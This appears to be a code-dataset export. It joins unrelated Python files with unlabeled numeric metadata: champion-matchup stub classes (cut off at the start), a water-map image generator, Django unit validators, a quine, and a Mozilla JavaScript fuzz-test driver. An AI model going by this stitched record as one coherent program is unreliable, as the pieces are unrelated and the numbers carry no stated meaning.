NA_Talon_Mid_Vayne(Ratings): pass class NA_Talon_Mid_Veigar(Ratings): pass class NA_Talon_Mid_Velkoz(Ratings): pass class NA_Talon_Mid_Vi(Ratings): pass class NA_Talon_Mid_Viktor(Ratings): pass class NA_Talon_Mid_Vladimir(Ratings): pass class NA_Talon_Mid_Volibear(Ratings): pass class NA_Talon_Mid_Warwick(Ratings): pass class NA_Talon_Mid_Xayah(Ratings): pass class NA_Talon_Mid_Xerath(Ratings): pass class NA_Talon_Mid_XinZhao(Ratings): pass class NA_Talon_Mid_Yasuo(Ratings): pass class NA_Talon_Mid_Yorick(Ratings): pass class NA_Talon_Mid_Zac(Ratings): pass class NA_Talon_Mid_Zed(Ratings): pass class NA_Talon_Mid_Ziggs(Ratings): pass class NA_Talon_Mid_Zilean(Ratings): pass class NA_Talon_Mid_Zyra(Ratings): pass
15.364508
46
0.761667
972
6,407
4.59465
0.151235
0.216301
0.370802
0.463502
0.797582
0.797582
0
0
0
0
0
0
0.173404
6,407
416
47
15.401442
0.843278
0
0
0.498195
0
0
0
0
0
0
0
0
0
1
0
true
0.498195
0.00361
0
0.501805
0
0
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
1
0
0
7
f3278c9b6732340f2ecf11ea96009003695c6845
4,378
py
Python
water/generate_map.py
zephenryus/botw-water
a7bcc9704fce49ad0f8c0a73f9926cbed385cce3
[ "MIT" ]
null
null
null
water/generate_map.py
zephenryus/botw-water
a7bcc9704fce49ad0f8c0a73f9926cbed385cce3
[ "MIT" ]
null
null
null
water/generate_map.py
zephenryus/botw-water
a7bcc9704fce49ad0f8c0a73f9926cbed385cce3
[ "MIT" ]
null
null
null
import colorsys import math from PIL import Image from .Water import Water material_colors = [ (81, 116, 130), # Water (45, 199, 130), # Hot Water (114, 67, 142), # Poison Water (238, 20, 1), # Lava (21, 38, 54), # Ice Water (76, 61, 38), # Bog (120, 172, 193), # Clear Water (72, 137, 135) # Ocean Water ] def generate_height_map(data: list, outfile: str, image_base_color=(0, 0, 0)): if len(data) != 4096: if len(data) < 4096: print("Error 2001: Data list is not long enough. Expected 4096 but saw {}".format(len(data))) exit(2001) print("Error 2002: Data list is too long. Expected 4096 but saw {}".format(len(data))) exit(2002) height_map_image = Image.new("RGB", (64, 64), image_base_color) for index in range(4096): x = index % 64 y = index // 64 color_value = round(data[index].height / 800.0 * 255) color = (color_value, color_value, color_value) height_map_image.putpixel((x, y), color) print("Saving {}...".format(outfile)) height_map_image.save(outfile) def generate_material_map(data: list, outfile: str, image_base_color=(0, 0, 0)): if len(data) != 4096: if len(data) < 4096: print("Error 2001: Data list is not long enough. Expected 4096 but saw {}".format(len(data))) exit(2001) print("Error 2002: Data list is too long. Expected 4096 but saw {}".format(len(data))) exit(2002) height_map_image = Image.new("RGB", (64, 64), image_base_color) for index in range(4096): x = index % 64 y = index // 64 color = material_colors[data[index].material_index] height_map_image.putpixel((x, y), color) print("Saving {}...".format(outfile)) height_map_image.save(outfile) def generate_x_flow_map(data: list, outfile: str, image_base_color=(0, 0, 0)): if len(data) != 4096: if len(data) < 4096: print("Error 2001: Data list is not long enough. Expected 4096 but saw {}".format(len(data))) exit(2001) print("Error 2002: Data list is too long. Expected 4096 but saw {}".format(len(data))) exit(2002) height_map_image = Image.new("RGB", (64, 64), image_base_color) for index in range(4096): x = index % 64 y = index // 64 color_value = round((data[index].x_axis_flow_rate + 1) / 2 * 255) color = (color_value, color_value, color_value) height_map_image.putpixel((x, y), color) print("Saving {}...".format(outfile)) height_map_image.save(outfile) def generate_z_flow_map(data: list, outfile: str, image_base_color=(0, 0, 0)): if len(data) != 4096: if len(data) < 4096: print("Error 2001: Data list is not long enough. Expected 4096 but saw {}".format(len(data))) exit(2001) print("Error 2002: Data list is too long. Expected 4096 but saw {}".format(len(data))) exit(2002) height_map_image = Image.new("RGB", (64, 64), image_base_color) for index in range(4096): x = index % 64 y = index // 64 color_value = round((data[index].z_axis_flow_rate + 1) / 2 * 255) color = (color_value, color_value, color_value) height_map_image.putpixel((x, y), color) print("Saving {}...".format(outfile)) height_map_image.save(outfile) def generate_xz_flow_map(data: list, outfile: str, image_base_color=(0, 0, 0)): if len(data) != 4096: if len(data) < 4096: print("Error 2001: Data list is not long enough. Expected 4096 but saw {}".format(len(data))) exit(2001) print("Error 2002: Data list is too long. Expected 4096 but saw {}".format(len(data))) exit(2002) height_map_image = Image.new("RGB", (64, 64), image_base_color) for index in range(4096): x = index % 64 y = index // 64 hue = math.atan(data[index].z_axis_flow_rate / data[index].x_axis_flow_rate) speed = math.sqrt(data[index].x_axis_flow_rate ** 2 + data[index].z_axis_flow_rate ** 2) rgb = colorsys.hsv_to_rgb(hue, 1, speed) color = (round(rgb[0] * 255), round(rgb[1] * 255), round(rgb[2] * 255)) height_map_image.putpixel((x, y), color) print("Saving {}...".format(outfile)) height_map_image.save(outfile)
32.42963
105
0.606898
643
4,378
3.979782
0.14619
0.054709
0.082063
0.050801
0.857757
0.857757
0.822587
0.822587
0.822587
0.822587
0
0.099633
0.252627
4,378
134
106
32.671642
0.682457
0.016217
0
0.715789
0
0
0.162866
0
0
0
0
0
0
1
0.052632
false
0
0.042105
0
0.094737
0.157895
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b242b6f27a32eb5a2051003e1c38163821ddc7fb
2,953
py
Python
unit_field/validators.py
qubitstream/django-unit-field
1c44abef875dd477a50c6fd9b496c1acf26b3ae1
[ "Unlicense" ]
4
2016-02-29T19:11:23.000Z
2018-01-25T21:00:29.000Z
unit_field/validators.py
qubitstream/django-unit-field
1c44abef875dd477a50c6fd9b496c1acf26b3ae1
[ "Unlicense" ]
null
null
null
unit_field/validators.py
qubitstream/django-unit-field
1c44abef875dd477a50c6fd9b496c1acf26b3ae1
[ "Unlicense" ]
5
2016-02-07T14:22:03.000Z
2021-03-29T22:02:43.000Z
# -*- coding: utf-8 -*- from unit_field.fields import get_factor from django.core.exceptions import ValidationError from django.utils.translation import ugettext_lazy as _ def get_normalized_value(value, unit, units): factor = get_factor(units, unit) if factor is None: raise ValidationError(_(u'The selected unit could not be found')) return value * factor def validate_lte(input_value, input_unit, limit_value, limit_unit, units): normalized_value = get_normalized_value(input_value, input_unit, units) normalized_limit = get_normalized_value(limit_value, limit_unit, units) if normalized_value > normalized_limit: raise ValidationError( _(u'%(input_value)s %(input_unit)s has to be lower than ' \ u'or equal %(limit_value)s %(limit_unit)s') % { 'input_value': input_value, 'input_unit': input_unit, 'limit_value': limit_value, 'limit_unit': limit_unit, }) def validate_lt(input_value, input_unit, limit_value, limit_unit, units): normalized_value = get_normalized_value(input_value, input_unit, units) normalized_limit = get_normalized_value(limit_value, limit_unit, units) if normalized_value >= normalized_limit: raise ValidationError( _(u'%(input_value)s %(input_unit)s has to be lower than ' \ u'%(limit_value)s %(limit_unit)s') % { 'input_value': input_value, 'input_unit': input_unit, 'limit_value': limit_value, 'limit_unit': limit_unit, }) def validate_gte(input_value, input_unit, limit_value, limit_unit, units): normalized_value = get_normalized_value(input_value, input_unit, units) normalized_limit = get_normalized_value(limit_value, limit_unit, units) if normalized_value < normalized_limit: raise ValidationError( _(u'%(input_value)s %(input_unit)s has to be greater than ' \ u'or equal %(limit_value)s %(limit_unit)s') % { 'input_value': input_value, 'input_unit': input_unit, 'limit_value': limit_value, 'limit_unit': limit_unit, }) def validate_gt(input_value, input_unit, limit_value, limit_unit, units): normalized_value = get_normalized_value(input_value, input_unit, units) normalized_limit = get_normalized_value(limit_value, limit_unit, units) if normalized_value <= normalized_limit: raise ValidationError( _(u'%(input_value)s %(input_unit)s has to be greater than ' \ u'%(limit_value)s %(limit_unit)s') % { 'input_value': input_value, 'input_unit': input_unit, 'limit_value': limit_value, 'limit_unit': limit_unit, })
44.074627
75
0.628513
353
2,953
4.895184
0.141643
0.115741
0.138889
0.131944
0.828125
0.828125
0.828125
0.828125
0.828125
0.828125
0
0.000471
0.280393
2,953
66
76
44.742424
0.812706
0.007111
0
0.714286
0
0
0.189079
0
0
0
0
0
0
1
0.089286
false
0
0.053571
0
0.160714
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b255a19cd4f5b10e6c79a4efcfb437b2857143a7
810
py
Python
self_rep_alternating.py
bediger4000/self-replicating-programs
723f84a099726247403b6a15421559c42af2821d
[ "BSD-3-Clause" ]
1
2020-11-27T12:51:43.000Z
2020-11-27T12:51:43.000Z
self_rep_alternating.py
bediger4000/self-replicating-programs
723f84a099726247403b6a15421559c42af2821d
[ "BSD-3-Clause" ]
null
null
null
self_rep_alternating.py
bediger4000/self-replicating-programs
723f84a099726247403b6a15421559c42af2821d
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python COMMA=','; DQUOTE='"'; SQUOTE="'"; SEMICOLON=';'; SHEBANG='#!/usr/bin/env python' G2='print B; print "COMMA="+S+C+S+E, "DQUOTE="+S+D+S+E, "SQUOTE="+D+S+D+E, "SEMICOLON="+S+E+S+E, "SHEBANG="+S+B+S; print "G2="+S+G2+S; print "G1="+S+G1+S; print G1' G1='print SHEBANG; print "S="+DQUOTE+SQUOTE+DQUOTE+SEMICOLON, "D="+SQUOTE+DQUOTE+SQUOTE+SEMICOLON, "E="+SQUOTE+SEMICOLON+SQUOTE+SEMICOLON, "C="+SQUOTE+COMMA+SQUOTE+SEMICOLON, "B="+SQUOTE+SHEBANG+SQUOTE; print "G1="+SQUOTE+G1+SQUOTE; print "G2="+SQUOTE+G2+SQUOTE; print G2' print SHEBANG; print "S="+DQUOTE+SQUOTE+DQUOTE+SEMICOLON, "D="+SQUOTE+DQUOTE+SQUOTE+SEMICOLON, "E="+SQUOTE+SEMICOLON+SQUOTE+SEMICOLON, "C="+SQUOTE+COMMA+SQUOTE+SEMICOLON, "B="+SQUOTE+SHEBANG+SQUOTE; print "G1="+SQUOTE+G1+SQUOTE; print "G2="+SQUOTE+G2+SQUOTE; print G2
135
272
0.690123
132
810
4.234848
0.128788
0.241503
0.093023
0.053667
0.715564
0.715564
0.715564
0.715564
0.715564
0.715564
0
0.022368
0.061728
810
5
273
162
0.713158
0.024691
0
0
0
0.5
0.591888
0.304183
0
0
0
0
0
0
null
null
0
0
null
null
0.75
0
0
0
null
1
0
0
0
1
1
1
1
1
0
0
0
0
1
0
1
0
0
0
0
0
1
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
11
b2765c9ab8969e815b63567a8a5b3db2d688aaf1
26,427
py
Python
fuzz_drivers/nofuzz/test_nofuzz_mozilla.py
gustavopinto/entente
19b65d8cafd77c198c9c441f4f5e01503360309b
[ "BSD-2-Clause" ]
5
2018-03-20T21:53:38.000Z
2018-12-28T21:08:47.000Z
fuzz_drivers/nofuzz/test_nofuzz_mozilla.py
gustavopinto/entente
19b65d8cafd77c198c9c441f4f5e01503360309b
[ "BSD-2-Clause" ]
14
2018-04-09T20:16:00.000Z
2019-06-11T12:31:10.000Z
fuzz_drivers/nofuzz/test_nofuzz_mozilla.py
gustavopinto/entente
19b65d8cafd77c198c9c441f4f5e01503360309b
[ "BSD-2-Clause" ]
12
2018-04-06T00:52:24.000Z
2018-07-10T19:44:16.000Z
import os from fuzz_drivers import * #pylint: disable=W0614 from jsfuzz.fuzzer.validator import validate_mozilla from jsfuzz.utils import constants, multicall # changes done on support libs: # - made uneval() throw an error (non262/shell.js) # # see https://chromium.googlesource.com/v8/v8.git/+/6.8.40/test/mozilla/mozilla.status # for test compatibility details for v8 # remaining test suites to add # test262 (standard stuff, should be easier) # ignored for now # non262/extensions (lots of mozilla-specific stuff) IGNORED_FILES = {"browser.js", "shell.js", "template.js", "user.js", "js-test-driver-begin.js", "js-test-driver-end.js"} #@pytest.mark.skip(reason="temporarilly disabling") def test_mozilla_non262(): path_name = os.path.join(constants.seeds_dir, 'mozilla') multicall.multicall_directories( path_name, validator=validate_mozilla, shell='shell.js' ) # def test_fuzz_mozilla_non262_Array(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Array/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_ArrayBuffer(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/ArrayBuffer/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_arrowfunctions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/arrow-functions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_asyncfunctions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/async-functions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_AsyncGenerators(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/AsyncGenerators/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Boolean(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Boolean/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_class(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/class/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_comprehensions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/comprehensions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_DataView(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/DataView/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Date(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Date/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_destructuring(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/destructuring/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Error(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Error/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_eval(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/eval/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Exceptions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Exceptions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_executioncontexts(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/execution-contexts/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_expressions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/expressions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_extensions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/extensions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Function(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Function/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_GC(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/GC/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_generators(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/generators/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_getset(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/get-set/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_global(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/global/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Intl(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Intl/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_iterable(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/iterable/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_jit(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/jit/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_JSON(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/JSON/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_lexical(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/lexical/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_lexicalconventions(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/lexical-conventions/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_lexicalenvironment(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/lexical-environment/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Map(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Map/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Math(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Math/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_misc(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/misc/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_module(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/module/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Number(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Number/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_object(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/object/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_operators(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/operators/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_pipeline(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/pipeline/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Promise(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Promise/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Proxy(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Proxy/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Reflect(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Reflect/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_reflectparse(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/reflect-parse/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_RegExp(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/RegExp/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_regress(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/regress/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Scope(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Scope/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Script(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Script/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Set(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Set/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_SIMD(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/SIMD/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_statements(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/statements/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_strict(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/strict/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_String(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/String/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Symbol(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Symbol/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_syntax(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/syntax/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_templatestrings(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/template-strings/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_TypedArray(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/TypedArray/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_TypedObject(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/TypedObject/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_types(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/types/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_Unicode(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/Unicode/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES) # def test_fuzz_mozilla_non262_WeakMap(): # path_name = os.path.join(constants.seeds_dir, 'mozilla/non262/WeakMap/') # multicall.multicall_directories(path_name, False, validator=validate_mozilla, # search_root=os.path.join(constants.seeds_dir, 'mozilla'), # search_libfiles=['shell.js'], # ignored_files=IGNORED_FILES)
53.495951
120
0.588867
2,629
26,427
5.606695
0.057056
0.064043
0.079376
0.150814
0.902578
0.89844
0.89844
0.89844
0.89844
0.89559
0
0.020218
0.305634
26,427
493
121
53.604462
0.783052
0.950429
0
0
0
0
0.099895
0.046267
0
0
0
0
0
1
0.083333
false
0
0.333333
0
0.416667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
